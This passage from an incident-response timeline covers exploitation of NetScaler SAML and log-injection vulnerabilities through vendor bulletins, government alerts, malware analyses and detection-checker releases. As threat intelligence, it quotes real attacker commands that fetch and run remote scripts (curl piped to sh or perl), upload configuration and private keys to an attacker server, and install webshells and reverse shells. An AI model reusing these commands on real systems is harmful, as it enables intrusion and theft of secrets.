    Beaumont says his patched 13.1 and 14.1 honeypots are crashing, from multiple source IPs, and posts greps for authentication-daemon (nsaaad) crashes and pitboss restart messages in ns.log, one of them for 213.209.159.55. The two screenshots in the post show a write-up (author not named) about two 14.1-73.37 appliances that rebooted repeatedly after nsaaad crashed with exit status 0x8a and hit the restart limit of six. On one of them, crafted usernames on SAML factors told the appliance to fetch a payload from 213.209.159.55 over plain HTTP on port 443, save it as /v and run it, just before each crash. The write-up says this shows exploitation attempts and correlated crashes, not confirmed command execution, a CVE or a firmware regression, and adds *.pyrlink.cc as a later delivery source. This is unverified: at the time there was no CVE and no vendor or CERT statement.

    Post text and both screenshots read directly on 2 Oct.

    Sources: ^[98]

72. Oct 2, 19:02 UTC Reported observation Validated

    Beaumont: the pitboss fix "looks bypassable" (to be confirmed)

    In a reply to his honeypot post, Beaumont says that, to be confirmed, it looks like the pitboss fix is bypassable. He gives no technical detail, and Citrix has not said whether builds with the CTX697096 fixes are affected by the new SAML issue.

    Post text read directly on 2 Oct.

    Sources: ^[100]

73. Oct 2, 19:19 UTC Reported observation Validated

    Beaumont: a patched honeypot is running a downloaded binary

    Beaumont says one of his honeypots is running a downloaded (malware) binary, that both were patched so he concludes it is a new vulnerability, and that it is being sprayed and prayed. One honeypot has no valid TLS certificate because he let it expire. He does not say whether the honeypots had SAML configured, and Citrix lists no affected versions yet. These are one researcher's observations and conclusions.

    Post text read directly on 2 Oct.

    Sources: ^[101]

74. Oct 2, 23:25 UTC Reported observation

    Beaumont: the responder policy he says Citrix shared as a SAML workaround does not work for him

    Asked by O_P whether he tried the responder policy from Citrix Support on his crashing honeypot - and whether enhanced ISN was on and he saw the reboots others report - Beaumont replies that "the policy citrix gave out doesn't work for me". This implies Citrix Support is sharing a responder policy as a workaround for the new SAML issue, and that it has not worked on at least one appliance. Single source; the policy text has not been seen, Citrix's own post does not mention any policy, and he does not answer the enhanced-ISN or reboot questions in the reply.

    Sources: ^[102]

75. Oct 2 Official advisory

    Citrix publishes guidance on a new SAML issue, independent of CTX697096

    Citrix says it is tracking a newly observed issue related to SAML authentication in customer-managed NetScaler deployments. The issue is associated with deployments that use SAML authentication in conjunction with Gateway or AAA functionality, and is configuration dependent based on the information currently available. The NetScaler is affected when at least one of the following SAML commands is present in the configuration: add authentication samlAction.* or add authentication samlIdPProfile.*. Recommended action: inspect the Gateway and AAA configuration for a SAML authentication action, contact Citrix support if currently experiencing impact, and upgrade to the updated software as soon as possible once the security bulletin is published. Citrix says the issue is independent of the vulnerabilities disclosed in CTX697096, that a new security bulletin and simultaneous product update release is planned, and that it will update the blog as more information becomes available. The post lists no CVE, affected versions, fixed builds or workaround yet, and points to the upcoming bulletin for the definitive list of affected versions, fixed builds and applicability conditions. Last updated 2 October (Pacific Daylight Time). Beaumont links the post at 20:00 UTC; his post was edited at 20:15 UTC, softening "pitboss will execute commands again" to "something will execute commands again" (per the edit history of the post).

    Sources: ^[2][99]

76. Oct 3, 01:40 UTC Reported observation

    Beaumont: "The Citrix support mitigations don't appear to work"; admins firewall-blocking attacker IPs

    Beaumont posts that the Citrix support mitigations do not appear to work, that admins are firewall-blocking known threat-actor IPs as a mitigation instead, and that many people cannot reach Citrix Support ("they've replaced people with AI chat bots"). His screenshot is an r/Citrix thread ("vulnerability scans causing netscaler reboots") where anonymous commenters report NetScaler restarts, one saying the responder-policy fix they received "didnt change anything", another that blackholing the attack IPs "semi works till they change their ip", and a third describing an endless Citrix support chatbot loop. Anonymous Reddit comments relayed via one researcher: unverified, no policy text, and no new IoCs. The thread matches the crash and reboot pattern in the earlier 14.1-73.37 screenshots.

    Sources: ^[103][134]

77. Oct 3, 08:23 UTC Reported observation

    heise: mass spontaneous reboots on fully patched devices; exploit "apparently circulating" since the evening of 2 October

    heise online (Dr. Christopher Kunz, 10:23 CEST) reports that security researchers and administrators are seeing mass spontaneous reboots of devices that were on the latest patch level, that an exploit for the new issue has apparently been circulating since the evening hours of 2 October, and that it can likely be triggered by sending SAML requests in bulk to a vulnerable device. It relays Beaumont's honeypot findings (a downloaded malware binary running on patched devices, so "new vulnerability") and frames the new issue as a possible bypass of the September fix - his framing, not Citrix's. It quotes the claim that "the watchTowr Labs team has now successfully reproduced the vulnerability" without naming its source; watchTowr's own X post the same day confirms the reproduction in its own words (see the next entry). heise notes Citrix's blog names no effective countermeasures and no patch exists yet, and links the same r/Citrix reboot thread. Says it will update the article continuously.

    Sources: ^{[130][101][103][2][134]}

78. ~Oct 3 Reported observation Approximate date

    Cybersecurity News rounds up the 14.1-73.37 reboot reports: crafted SAML traffic crashing nsaaad, pitboss restarting appliances

    Cybersecurity News (Guru Baran, article dated 3 October; the page shows only the date - earliest observed trace is a Bluesky share at 03:06 UTC, so the publication time is approximate) reports that customers are seeing repeated appliance reboots after installing build 14.1-73.37, linking them to crafted SAML authentication traffic that crashes the nsaaad authentication service until the pitboss watchdog restarts the appliance. It relays anonymous Reddit reports of severity-one cases with Citrix and of Citrix support "reportedly" preparing a fix, and states itself that these reports "do not yet prove attackers have bypassed the September patch" - a crash of nsaaad may be denial of service only, without sender control of the device. Secondary source: the underlying claims are anonymous forum posts it does not link individually, no new technical detail beyond the earlier r/Citrix thread, no Citrix statement, and no new IoCs. Its advice (preserve core files and logs before another restart, correlate reboot times with inbound SAML requests, check nsaaad crash messages in /var/core) matches the checks already on this page.

    Sources: ^[108][134]

79. Oct 3 Research

    watchTowr confirms it has reproduced the new vulnerability; mitigation rulesets for platform clients only

    watchTowr posts on X: "Unfortunately? Fortunately? the watchTowr Labs team has now successfully reproduced this vulnerability. watchTowr Platform clients now have mitigation rulesets available to them via our Active Defense capability. Speak soon." The post does not name the vulnerability; in context it is understood to be the SAML issue that heise quoted the same day, and that reading is this site's inference, not watchTowr's statement. What the post itself establishes, in watchTowr's own words: it has reproduced a vulnerability and has mitigation rulesets for Platform clients via Active Defense. Nothing indicates a public ruleset, advisory or IoCs yet. This site lists no watchTowr SAML indicators, and none are implied by this post.

    Sources: ^[73][130]

80. Oct 3 Official advisory

    Citrix releases a new responder policy via Support (3 October); not yet in Citrix's public post

    Citrix has released a new responder policy as a mitigation for the SAML issue, distributed through Citrix Support on 3 October. The Poppelgaard checker README describes it and recognises it by behaviour on the appliance: any responder policy whose rule mentions samlauth or doAuthentication, bound to a Gateway/AAA vserver or globally, alongside Citrix's earlier RSP_POL_DROP and community Gotham policies. Citrix's public SAML post does not mention the policy yet and its text has not been published; distribution is through Support (under NDA), which matches Beaumont's reports of a responder policy shared through Support ("the policy citrix gave out doesn't work for me" on Oct 2, "the Citrix support mitigations don't appear to work" on Oct 3). The checker reminds admins to ask Citrix Support for the new policy and verifies whether it is bound - and flags a [CHECK] state where a policy is bound but the Responder feature is disabled, which silently ignores it.

    Sources: ^{[56][2][102][103]}

81. Oct 3 Official advisory

    CVE-2026-88779 assigned: bulletin CTX697174 with new fixed builds; Global Deny List interim mitigation

    Citrix publishes bulletin CTX697174 for CVE-2026-88779 - the CVE behind the SAML issue it had described without a CVE since 2 Oct. Memory overflow, CVSS 4.0 8.7, DoS; Citrix credits Bishop Fox and watchTowr, per Tenable says it has observed targeted attacks on unmitigated deployments, and has so far found no impact on customer data integrity. Fixed builds are newer than the September ones: 14.1-73.41, 13.1-64.28, 14.1-73.41 FIPS, 13.1-37.282 FIPS/NDcPP - SAML deployments that upgraded on 27 Sep must upgrade again. Citrix also releases Global Deny List signatures as an interim mitigation for standard (non-FIPS) 14.1 and 13.1 appliances on the September builds, managed through NetScaler Console, and a blog explaining them. Only SAML SP or IdP configurations are affected (the same applicability check as the 2 Oct guidance).

    Sources: ^[3][36][2]

82. Oct 3 Research

    FreeBSD Sliver C2 implant tied to pylrk.cc delivery: independent malware analysis (TLP:CLEAR), corroborated by Expel IR

    A TLP:CLEAR malware analysis report dated 2 October ties the two 2 October threads together: the payload served at f.pylrk.cc/HaKi2ufpiQ8AeVTZ/host is a Sliver C2 implant cross-compiled for FreeBSD - the operating system under NetScaler - built specifically for these appliances. Statically linked stripped Go ELF64, 8,822,784 bytes. Static strings (sample not executed): hardcoded C2 https://www.pylrk.cc, protocol tag pylrkfbsd, IMPLANT_CAPABILITY_TUNNEL_TERMINAL_V1 with tunnel/reverse-shell capability (consistent with the netcat-style callbacks Expel described in this campaign), a spoofed Chrome 108/Windows User-Agent for its own beacons, and no embedded IP - C2 resolves via DNS to pylrk.cc. VirusTotal: 31 of 75 engines, all Sliver/Vilers labels; first submitted 2 Oct 11:49 UTC; recorded filenames /var/tmp/.host, /private/var/tmp/.host and citrix3.bad (appliance paths). Corroboration: an Expel IR observation of exploitation against a NetScaler Gateway in late Sep-early Oct. This connects the pylrk.cc delivery domain to actual malware, and distinguishes this FreeBSD implant from the Perl webshell hosted on 213.209.159.55 (a separate, weaker-signal payload). The report is vendor-independent: no vendor or CERT has published on it. IoCs are on this page's IoC list.

    Sources: ^[62][83][61]

83. Oct 3 Research

    Martin's Blog: candidate mechanism for the nsaaad SAML crash - 16-entry unterminated PrefixList array, canary read as string pointer, SIGBUS in strlen

    A reverse-engineering post at mac.sploit.dk (3 Oct, updated 4 Oct after CTX697174 assigned CVE-2026-88779) proposes a candidate mechanism for the nsaaad crash, with stated boundaries. In build 14.1-73.30, a routine identified by embedded source strings as canonicalize_data (at 0x429750) puts namespace-prefix pointers into a sixteen-entry stack array at rbp-0xb0; the saved stack canary sits at rbp-0x30, exactly 16 pointers later. The code accepts sixteen space-separated InclusiveNamespaces PrefixList entries but the consuming diagnostic loop walks the array until a NULL sentinel - and with exactly sixteen entries there is no room for one, so the next load reads the saved canary and treats it as a string pointer. A controlled test against a disposable host-only 14.1-73.30 appliance (no AAA licence, so the daemon was driven over guest loopback at the internal message boundary, not through a network-facing Gateway) showed: 15 entries canonicalize successfully, 17 entries are rejected cleanly, and exactly 16 kill nsaaad with SIGBUS in strlen, exit status 0x8a, one Pitboss restart, and a core whose frame shows the canary value 0x94c4ee494769e33 as the failing strlen argument. Static analysis puts both the SAML SP and IdP parser paths through nsppe (byte-length limited to under 0x201 bytes but no limit on entry count) into the same canonicalization request, supporting an unauthenticated path subject to parser acceptance. Binary comparison: the 73.30 and 73.37 nsaaad files differ in only 70 bytes, all inside the vendor .ns_sig section - byte-identical with it removed - so the September CTX697096 fix did not change this routine; the bundled libxml2 is also identical. Stated gaps: no external network-path reproduction (licence limitation), no comparison with the fixed 73.41 build (so the CVE-2026-88779 mapping is evidence-supported but not build-confirmed), and no local result for restart exhaustion, reboot, code execution or persistence; the author also notes Citrix calls the issue a memory overflow while the demonstrated failure is an out-of-bounds pointer read without canary overwrite. The post keeps the command-bearing username record assigned to CVE-2026-88771, not this crash. The nsppe/nsssaaad hashes used are published in the post for reproduction. The mechanism matches the oversized-InclusiveNamespaces-PrefixList crash detail Beazley reported on 4 Oct from incident response - two independent sources now point at the same operation, from reverse engineering and from IR respectively.

    Sources: ^[48][57]

84. Oct 3 Official advisory

    ACSC update: the new SAML issue affects Australian organisations; "crashes, denial of service and potential exploitation"

    ASD's Australian Cyber Security Centre adds an "Update 3 October 2026" section to its alert: Citrix has published guidance about a newly identified issue affecting NetScaler deployments that use SAML authentication; a remote attacker exploiting the issue may induce system crashes, denial of service and potential exploitation; and ASD's ACSC is aware of impacts to Australian organisations. It advises organisations using NetScaler SAML authentication to review their configurations, monitor for unusual activity, follow Citrix's advice, contact Citrix support if impacted, and report to ACSC. It states the issue is understood to be separate from CVE-2026-88771 and CVE-2026-88772. This is the first government confirmation of impact from the new SAML issue, and it stops short of the September-patch-bypass claim: awareness of impacts is not the same as a confirmed bypass of 14.1-73.37. Alert first published 28 Sep, page last updated 3 Oct.

    Sources: ^[26][2]

85. Oct 4, 18:52 UTC Official advisory

    CISA adds CVE-2026-88779 to KEV - third exploited NetScaler CVE; federal deadline 7 Oct

    CISA adds CVE-2026-88779 to the Known Exploited Vulnerabilities catalog (catalog version 2026.10.04, released 18:52 UTC), its third NetScaler entry of this campaign after CVE-2026-88771 and CVE-2026-88772 (both 27 Sep). CWE-119, due date 7 Oct 2026, required action: apply mitigations per vendor instructions under BOD 26-04 and CISA's Forensics Triage Requirements (forensicTriage = Yes), or discontinue use of the product if mitigations are unavailable; ransomware use Unknown. The KEV addition confirms the vulnerability is exploited, consistent with the "observed targeted attacks" wording relayed by Tenable.

    Sources: ^[29][3][36]

86. Oct 4 Research

    Beazley Update 6: 88779 used to force reboots that re-arm the log injection - but 27 Sep patches stop it running; nsaaad crash mechanism detailed

    Beazley Security's BSL-A1216 Update 6 (4 Oct) describes the mechanism behind the 4 Oct wave from its incident-response work: attackers attempt to use CVE-2026-88779 to force appliance reboots on hosts that already contain an injected pitboss message, so that after reboot the CVE-2026-88771 maintenance script ns_monuploadd_err.pl reads the injected line and executes the embedded command as root. Key finding: appliances patched on 27 September no longer execute the injected commands, and Beazley has found no evidence of code execution on patched systems - contradicts the earlier fear that the September fixes were fully bypassed. Technical detail for CVE-2026-88779: the crash occurs while nsaaad processes the SAML signature canonicalization settings, specifically an oversized InclusiveNamespaces PrefixList. Timing note carried over from watchTowr and Beazley: ns_monuploadd_err.pl runs periodically, potentially within 24 hours, so code execution can lag well behind the malicious request. The same update adds three exploit-delivery IPs (104.207.47.54, 104.207.46.202, 104.207.32.77), the Sliver download script hash (c2f5532f...) and the second-wave log payloads to the advisory's IoC tables; all are on this page's IoC list.

    Sources: ^[57]

87. Oct 5, 13:31 UTC Research

    Checker v1.13 + Gotham 5 Oct update: 88779 attacker IP, Huntback.io decoys, pre-disclosure /saml/login sources, SAML probe hunting, "did it run?" shell-log check

    Poppelgaard's checker reaches v1.13 (105 attacker IPs, 15 domains, 34 hashes) in two steps, with third-party indicators carried from their public sources. Gotham Technology Group's 5 October update (shared with permission) adds 138.199.60.5 as an attacker IP - it sent CVE-2026-88779 crash payloads to /saml/login and /cgi/samlauth on 5 October - plus a yellow hunting lead for the 138.199.60.0/24 hosting/VPN range used throughout the SAML attack, and four sources that sent GET /saml/login before disclosure (38.60.206.53, 38.60.212.144, 149.102.254.17, 130.94.19.84). Checker v1.13 (b159493, later refined in 81c7834) adds five Huntback.io decoy IPs that sent the CVE-2026-88771 nx_verify.html injection check (138.199.60.22, 138.199.60.36, 146.70.199.170, 146.70.211.157, 23.162.8.173), randomly named *.receiver webshells in the web folders as a compromise signal (Huntback.io), a Lupovis hunting lead - User-Agent probe/1 with a ~2.8 KB SAMLRequest inflating to 62 KiB, seen on 17 September, before CVE-2026-88779 was public - and Sliver implant file checks: citrix3.bad is reported as compromise, an executable /var/tmp/.host as compromise, any other /var/tmp/.host only as a [CHECK] so a harmless file never turns red on its own. New "did it run?" check (idea from Patrick Wagner's gerGEIGER log analysis in Manuel Winkel's (Deyda) triage script; own implementation): for each login-injection attempt it shows the download hosts named in the payloads (defanged, for firewall/DNS/proxy-log searches), the likely source IP (a Client_ip field in the line, or logon requests in the HTTP access logs within 5 seconds of the attempt, with ns.log timezone differences detected automatically), and whether the payload shows up in a shell command in sh.log, bash.log or CLI shell_command lines - reported as compromise; an admin's grep or cat does not count, and the checker says when the shell logs do not reach back to the first attempt. Fewer false alarms: configuration commands such as add ns acl and bind policy patset lines after applying a mitigation batch are no longer attack lines (failed NITRO/API logins still count, because the injection can sit in the user name), and links alone in a custom theme's resources/*.xml and plugins.xml are no longer red because both hold links by design - script tags, eval and fetch are still reported. A webshell hit now also says that upgrading does not remove a webshell dropped before the upgrade. All new indicators are on this page's IoC list with per-indicator caveats.

    Sources: ^[56]

88. Oct 5, 17:37 UTC Community

    Citrix forum: Console relabels to "NS Asset Delivery"; stat denylist command behaviour after patching (unconfirmed)

    A customer reports in Citrix's CVE-2026-88779 forum thread (unconfirmed, no Citrix reply) two observations after patching to 13.1-64.28: on-prem NetScaler Console now shows "NS Asset Delivery" where it previously showed "Virtual Patching", and the verification command stat denylist global AAA_REQUEST - which worked before - returns "no such resource", although the signature version (v24) and Denylist flag are ON. Relevant to anyone verifying the Global Deny List mitigation with that command. A follow-up comment (04:25 UTC, same customer) offers the customer's own interpretation - that the GDL signatures apply per firmware to the CVEs known for that build, so an empty stat on the patched build is expected - explicitly not a Citrix statement. No IoCs either way. Verify mitigation state through NetScaler Console rather than one CLI command.

    Sources: ^[133]

89. Oct 6, 21:14 UTC Research

    Checker v1.14: config/SSL-key theft payload - ns.conf + all private keys dumped to a random .css, exfil to 81.94.239.8:8877; verdict line for compromised boxes

    Poppelgaard's checker reaches v1.14 (106 attacker IPs, 15 domains, 34 hashes) with a config-and-key-theft payload seen in the field: it writes ns.conf and every /nsconfig/ssl/*.key into a random 6-character .css file in /var/netscaler/logon/LogonPoint (example 74tns8.css), sends that file with curl --data-binary to 81.94.239.8:8877, and the attacker then downloads the .css from the Gateway - if it worked, the attacker has the configuration and every private key. New checks: any file under the web folders (any extension) holding ===CONF: / ===KEY: markers, a private key or ns.conf lines is reported as compromise with advice to rotate all keys, certificates and passwords; GET requests for a random 6-character .css directly in LogonPoint are listed with source IP, where HTTP 404 means the dump never landed and HTTP 200 means the file existed and was downloaded (compromise); curl --data-binary @<file> and :8877/ are new exploit strings; 81.94.239.8 added as an attacker IP (single third-party field report, unverified - DEAC Hosting, Latvia; VirusTotal 1 of 92). A new final verdict line reports "VERDICT: COMPROMISED - follow CTX694799" (fixed build) or "COMPROMISED and VULNERABLE - follow CTX694799 first" with exit code 2, replacing the old "follow-up items"/"upgrade now" wording that risked wiping evidence. Community pull requests #4/#5 (feiglein74) add: any .php/.phtml under /var/netscaler/logon and /var/vpn, one-line webshells calling a request parameter as a function, PHP files the Apache error log shows running or that still exist (with first and last dates), setuid/setgid programs under /var, /tmp, /nsconfig, /flash, /home and /root, files dropped in the web folders that were downloaded with HTTP 200, and two field finds from Citrix's own IoC scan - a 2023 CVE-2023-3519-wave webshell at LogonPoint/uiareas/linux/gnuplot.php and a setuid backdoor at /var/rgroupadd (possibly 2023 leftovers; check file dates). A payload writing to a file every appliance has (e.g. /etc/httpd.conf) no longer counts as "the command ran". The release repeats the standing advice: block outbound NetScaler (NSIP/SNIP) traffic to the internet except what it needs - this payload, like the f.pylrk.cc downloads, only works if the appliance can reach the attacker's server.

    Sources: ^[56]

90. Oct 6 Research

    eSentire TRU maps four exploitation clusters: pre-disclosure webshell, Platypus ~24h post-disclosure, watchTowr-PoC Perl installer, Python reverse shell

    eSentire's TRU publishes first-hand cluster analysis of CVE-2026-88771 intrusions it responded to, with hashes and timing. Cluster A (pre-disclosure, early September): a lightweight PHP webshell disguised as nsgtrust.deb among legitimate .deb files in /var/netscaler/gui/vpn/scripts/linux/ - hash 7add390c..., nearly identical to GTIG's "lightweight installer" family; executes code via the HTTP_NSC_CLIENTTYPE header, hijacks the .ico handler in httpd.conf, sets php_flag engine on, sets SUID on /bin/sh, and modifies crontab to remove its own installation artifacts; executed in early September per the compromised host's Apache access logs. Cluster B (3 customers, 28 Sep 16:20-22:41 UTC, ~24 hours post-disclosure): used the legitimate fleet-management tool Platypus for post-compromise activity - curl -k http://62.133.62.80:80/xd7h/x > /.x ; sh /.x fetched a Platypus-server-generated stager (57f9f30c...) that ran a bootstrap script (927c7fbe...), which downloaded the agent from https://entretiensol.com/v1/artifacts/<os>/<arch>/latest (e.g. /v1/artifacts/freebsd/amd64/latest), set PLATYPUS_INSTALL_TOKEN=plt_wqmnjp5jusrcpzicqa2t.gg3s7yppdptle5dyefxj, and enrolled against entretiensol.com:443 (freebsd/amd64 agent hash c98aee75..., unpacked Go; the Linux build was UPX-packed); eSentire notes public reporting associates Platypus with China-nexus actors (Lumen/Black Lotus), and the enrollment command matches the project's own documented installer nearly verbatim. Cluster C (4 customers, 29 Sep 00:52-08:25 UTC, ~36h post-disclosure): used watchTowr's public PoC (published 28 Sep) verbatim - pitboss PPE unexpectedly died NSPPE;curl http://64.94.85.67:443/update_c08937.pl | perl;# X - the Perl installer declares superuser credentials, creates a backdoor NetScaler local superuser by rewriting /flash/nsconfig/ns.conf (removing existing account lines first, including other actors'), tar-archives /flash/nsconfig and exfiltrates it to the same server via curl with wget fallback, deletes itself and the archive, sets setuid+setgid on /bin/sh, writes a Base64-decoded password-protected PHP webshell to /var/netscaler/logon/LogonPoint/.local_journal (placeholder replaced with the SHA-256 of the attacker-chosen password), adds an application/x-httpd-php handler for .local_journal plus Alias /logon/LogonPoint/css/LogonUISimple.html.style.min.css and AliasMatch ^/logon/LogonPoint/css/LogonUISimple.html.style.min.[0-9a-f]+.css$ to /etc/httpd.conf, turns the PHP engine on, reloads Apache with kill -HUP, and prints the webshell URL and password; the script contains LLM-style comments, suggesting AI was used to generate it, and the CSS alias makes webshell requests look like benign CSS fetches in Apache logs. Cluster D (1 customer, 29 Sep 11:20 UTC, watchTowr PoC): curl -o /var/1.py http://23.27.143.20:9000/main.py;python /var/1.py - the installer writes a Python reverse shell to C2 45.141.21.130 (ASN 214961, Stellar Group SAS) into /var/python/bin/customsnmpd, kills any running customsnmpd, and how the shell is started is unclear (likely a separate exploit command). TRU isolated the affected hosts proactively. The hashes and paths were mostly already on this site's IoC list from Arctic Wolf, LevelBlue and TENEX reporting; this blog adds the filename nsgtrust.deb, exact cluster timing, the stager/bootstrap chain hashes (57f9f30c.../927c7fbe...), the artifact-cleanup detail, and the LLM-comment observation. Key lesson per TRU: exploitation resumed within roughly 24 hours of disclosure, so patch windows are hours, not weeks.

    Sources: ^[70][69][71]

91. Oct 6 Research

    Rapid7 MDR: earliest exploitation 20 Sep by 149.104.78.208 - config/keys archived to the web-served /vpn/c; two organisations compromised

    Rapid7's ETR blog (updated 6 Oct) details what its MDR observed: the earliest CVE-2026-88771 exploitation attempt in its telemetry was 20 September 2026 14:28:43 UTC from 149.104.78.208 - only two attempts that day, not yet widespread. The injected username (a fake pitboss "missed too many heartbeats" line) ran tar czf /var/netscaler/gui/vpn/c -C /flash nsconfig, which archives /flash/nsconfig into the publicly served /var/netscaler/gui/vpn/ folder: ns.conf (encrypted nsroot and admin passwords, LDAP/RADIUS/TACACS bind passwords), the ssl/ directory (certificates and private keys), SSH host keys and license files. Once the command runs, any unauthenticated GET https://<gateway>/vpn/c returns the archive with no login. Rapid7 identifies two organisations compromised through CVE-2026-88771: this command injection, and a .ctxs.receiver webshell at /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver (SHA-256 ed082f74..., observed 24 September - the same sample IFIN relayed from Reddit, now vendor-confirmed). The checker v1.11 carried 149.104.78.208 with a Rapid7 attribution and the /vpn/c tar detail; the tar archive /vpn/c is already a compromise check in the checker (HTTP 200 on /vpn/c = the config archive was likely downloaded). Also in this update: the 6-crash-then-reboot behaviour of CVE-2026-88779 and the October content-release checks. All indicators are on this page's IoC list.

    Sources: ^[49][56]

92. Oct 7, 16:34 UTC Research

    watchTowr publishes honeypot post-exploitation analysis and a public IoC repository for CVE-2026-88771

    From thousands of exploitation attempts captured on real NetScaler sensor appliances, watchTowr details: (1) PoC-class probes writing id output to /var/tmp (wtw888, cve88771, cve88771_round2) and to web-served paths; (2) a compiled Sliver C2 implant staged to /var/vpn/ns_helper with a 60-second beacon and a hardcoded Chrome-on-Linux User-Agent; (3) attackers re-using the publicly documented .ctxs.receiver webshell by hunting for its leaked CsrfToken password; (4) a trojanized, statically linked Dropbear SSH 2025.88 build listening on tcp/37512 with a hardcoded password support1 and an embedded RSA-2048 key - effective only where the port is exposed via ns.conf; (5) a Perl stager (update_c08937.pl) minting a gw_health superuser in /flash/nsconfig/ns.conf and dropping a password-keyed PHP webshell to LogonPoint/.local_journal behind a LogonUISimple.html.style.min.<hex>.css alias - which fails in the default configuration because nsppe strips the Set-Cookie header the shell needs for its session; and (6) a spray-and-pray operator planting SSH keys in /root/.ssh, /nsconfig/ssh and /nsconfig/.ssh, spraying webshells across 14 directories and exfiltrating secrets including LLM API keys (OPENAI, ANTHROPIC, GEMINI and CLAUDE environment variables). watchTowr also claims that a process crash via CVE-2026-88772 or CVE-2026-88779 triggers a warm reload that executes the last poisoned log line instantly - watchTowr's own claim, consistent in mechanism with the Beazley 4 Oct reboot analysis but not vendor-confirmed, and on builds patched since 27 Sep the fixed ns_monuploadd_err.pl no longer executes injected lines. watchTowr advises capturing volatile forensics before restart, patch or re-imaging. Its IoC repository adds 47 source IPs, OOB callback domains, the backdoor account and five hashes.

    Sources: ^[44][76]

93. Oct 8, 22:17 UTC Official advisory

    NVD publishes CVE-2026-107406 (status Received, later Awaiting Analysis); not in CISA KEV

    NVD received the CVE-2026-107406 record at 22:17 UTC with the CNA (NetScaler) description and the CVSS v4.0 9.5 Critical score carried as Secondary; NVD analysis has not started (status moved to Awaiting Analysis on 10 Oct, last modified 10 Oct 04:18 UTC). The CISA KEV catalog (version 2026.10.08, released 20:09 UTC the same day) does not contain CVE-2026-107406 - re-checked against catalogs through 2026.10.13 on 14 Oct - and no exploitation has been publicly confirmed. Per secondary coverage of Citrix's customer guidance, Citrix says it is not aware of any unmitigated exploits of this vulnerability.

    Sources: ^[6][29][104]

94. Oct 8 Research

    Poppelgaard checker v1.15 and v1.16: WHIPSHOT/SLAPSHOT scan detection, log-reflection technique, SOCRadar "NetScaler C2" agent, CVE-2026-107406 IdP/SP check

    v1.15 (8 Oct): Lupovis shows scanning for the WHIPSHOT/SLAPSHOT webshells started before Mandiant published them, with a 10-step scan since 4 Oct; the checker adds receiver.deb / random 12-character .deb theme-folder probes, the g-suffix .css cache-bypass requests, and detects the log-reflection technique - an actor parks a whole shell script in a tagged User-Agent so it lands in the HTTP access log, then the CVE-2026-88771 injection carries only grep <tag>: /var/log/htt* | sed ... | sh, so filters watching the login field never see the payload. SOCRadar's automated "NetScaler C2" framework injects curl${IFS}-sk${IFS}45.143.130.195:8899/s/<id>|sh and installs a polling agent at /tmp/.nsagent, reported by the checker as compromise. v1.16 (8 Oct): adds the CVE-2026-107406 build and SAML IdP/SP check (verdict VULNERABLE_CVE-2026-107406, exit code 2, also on builds already fixed for CTX697096 and CVE-2026-88779), and - from a community report the same day - an overnight wave of the same login injection fetching https://v5v.in/r.sh?k=<key>|sh; payload host v5v.in and IP 72.5.65.111 added (totals 132 attacker IPs, 18 domains, 38 hashes). Since v1.15 the compromise sweep runs by default on the appliance.

    Sources: ^[56]

95. Oct 8 Official advisory

    Citrix publishes CTX697191: CVE-2026-107406, SAML memory overflow leading to RCE or DoS, CVSS 9.5 - SAML deployments must upgrade again

    Third NetScaler bulletin of the campaign, separate from CTX697096 and CTX697174. Preconditions are SAML SP or IdP with version-dependent scope: on the builds already fixed for the earlier bulletins (14.1-73.37 to 73.41 inclusive, 14.1-FIPS 73.37 to 73.41 FIPS, 13.1-64.23 to 64.28, 13.1-FIPS/NDcPP 37.279 to 37.282) only a SAML IdP (add authentication samlIdPProfile) is affected; on older builds both SP (samlAction) and IdP. Fixed in 14.1-73.46, 13.1-64.29, 14.1-73.46 FIPS and 13.1-37.283 FIPS/NDcPP - builds that also carry the CTX697096 and CVE-2026-88779 fixes, so one upgrade covers everything. The bulletin lists no workaround and adds that Secure Private Access Hybrid deployments using NetScaler instances are also affected. This is the third required upgrade in under two weeks for SAML appliances that kept up with the previous bulletins.

    Sources: ^[4]

96. Oct 9 Official advisory

    CISA revises its NetScaler alert: adds CVE-2026-107406 and CVE-2026-88779, and officially confirms the reboot/re-execution relationship

    CISA's alert revision (Last Revised October 9, 2026) does four things: (1) adds CVE-2026-107406; (2) adds CVE-2026-88779 following its 4 Oct KEV addition; (3) states in CISA's own words the mechanism Beazley and watchTowr had described - in unpatched deployments, threat actors may exploit CVE-2026-88779 to force a reboot and accelerate conditions to allow execution of code previously injected through exploitation of CVE-2026-88771 - which upgrades that mechanism from researcher analysis to government confirmation; and (4) urges prompt patching of all ten CVEs and reviewing Citrix compromise guidance. The same day, the Canadian Centre for Cyber Security publishes advisory AV26-1023 and Belgium's CCB/Safeonweb warns about CVE-2026-107406, and press coverage appears at BleepingComputer, The Register, The Hacker News, SecurityWeek and Security Affairs - all quoting Citrix's "not aware of any unmitigated exploits" wording. BleepingComputer also relays Shadowserver figures: more than 21,000 NetScaler-fingerprinted IPs exposed (about 1,500 Gateways, nearly 20,000 ADCs).

    Sources: ^{[16][10][11][105][106][107][4]}

97. Oct 11 Reported observation Fake PoC repos

    Fake PoC repositories appear for CVE-2026-107406; no working exploit exists

    Two GitHub repositories named as PoCs for CVE-2026-107406 appear (ApexBreach/CVE-2026-107406-Poc, created 9 Oct 08:34 UTC, and ctroy999/CVE-2026-107406, created 11 Oct 09:11 UTC; Previdian indexes both). Both contain only an identical text-only README describing a hypothetical exploit - no code - and end with "Contact for exploit" via a ProtonMail address and a tinyurl download link. This matches the pattern of exploit-vendor scam repos and of the fake AI-slop PoCs Beaumont warned about for CVE-2026-88771 in September. No working public exploit for CVE-2026-107406 is known; Citrix says it is not aware of any unmitigated exploits, and Previdian's sensors have recorded zero exploitation attempts.

    Sources: ^[76][95][4]

98. Oct 12, 19:47 UTC Research

    Binary Defense "Platypwned": first-hand IR on the Platypus fork - two appliances, fork-only privesc/persistence modules, HA-sync gap, two-tier infrastructure; attribution leans financially motivated, not nation-state

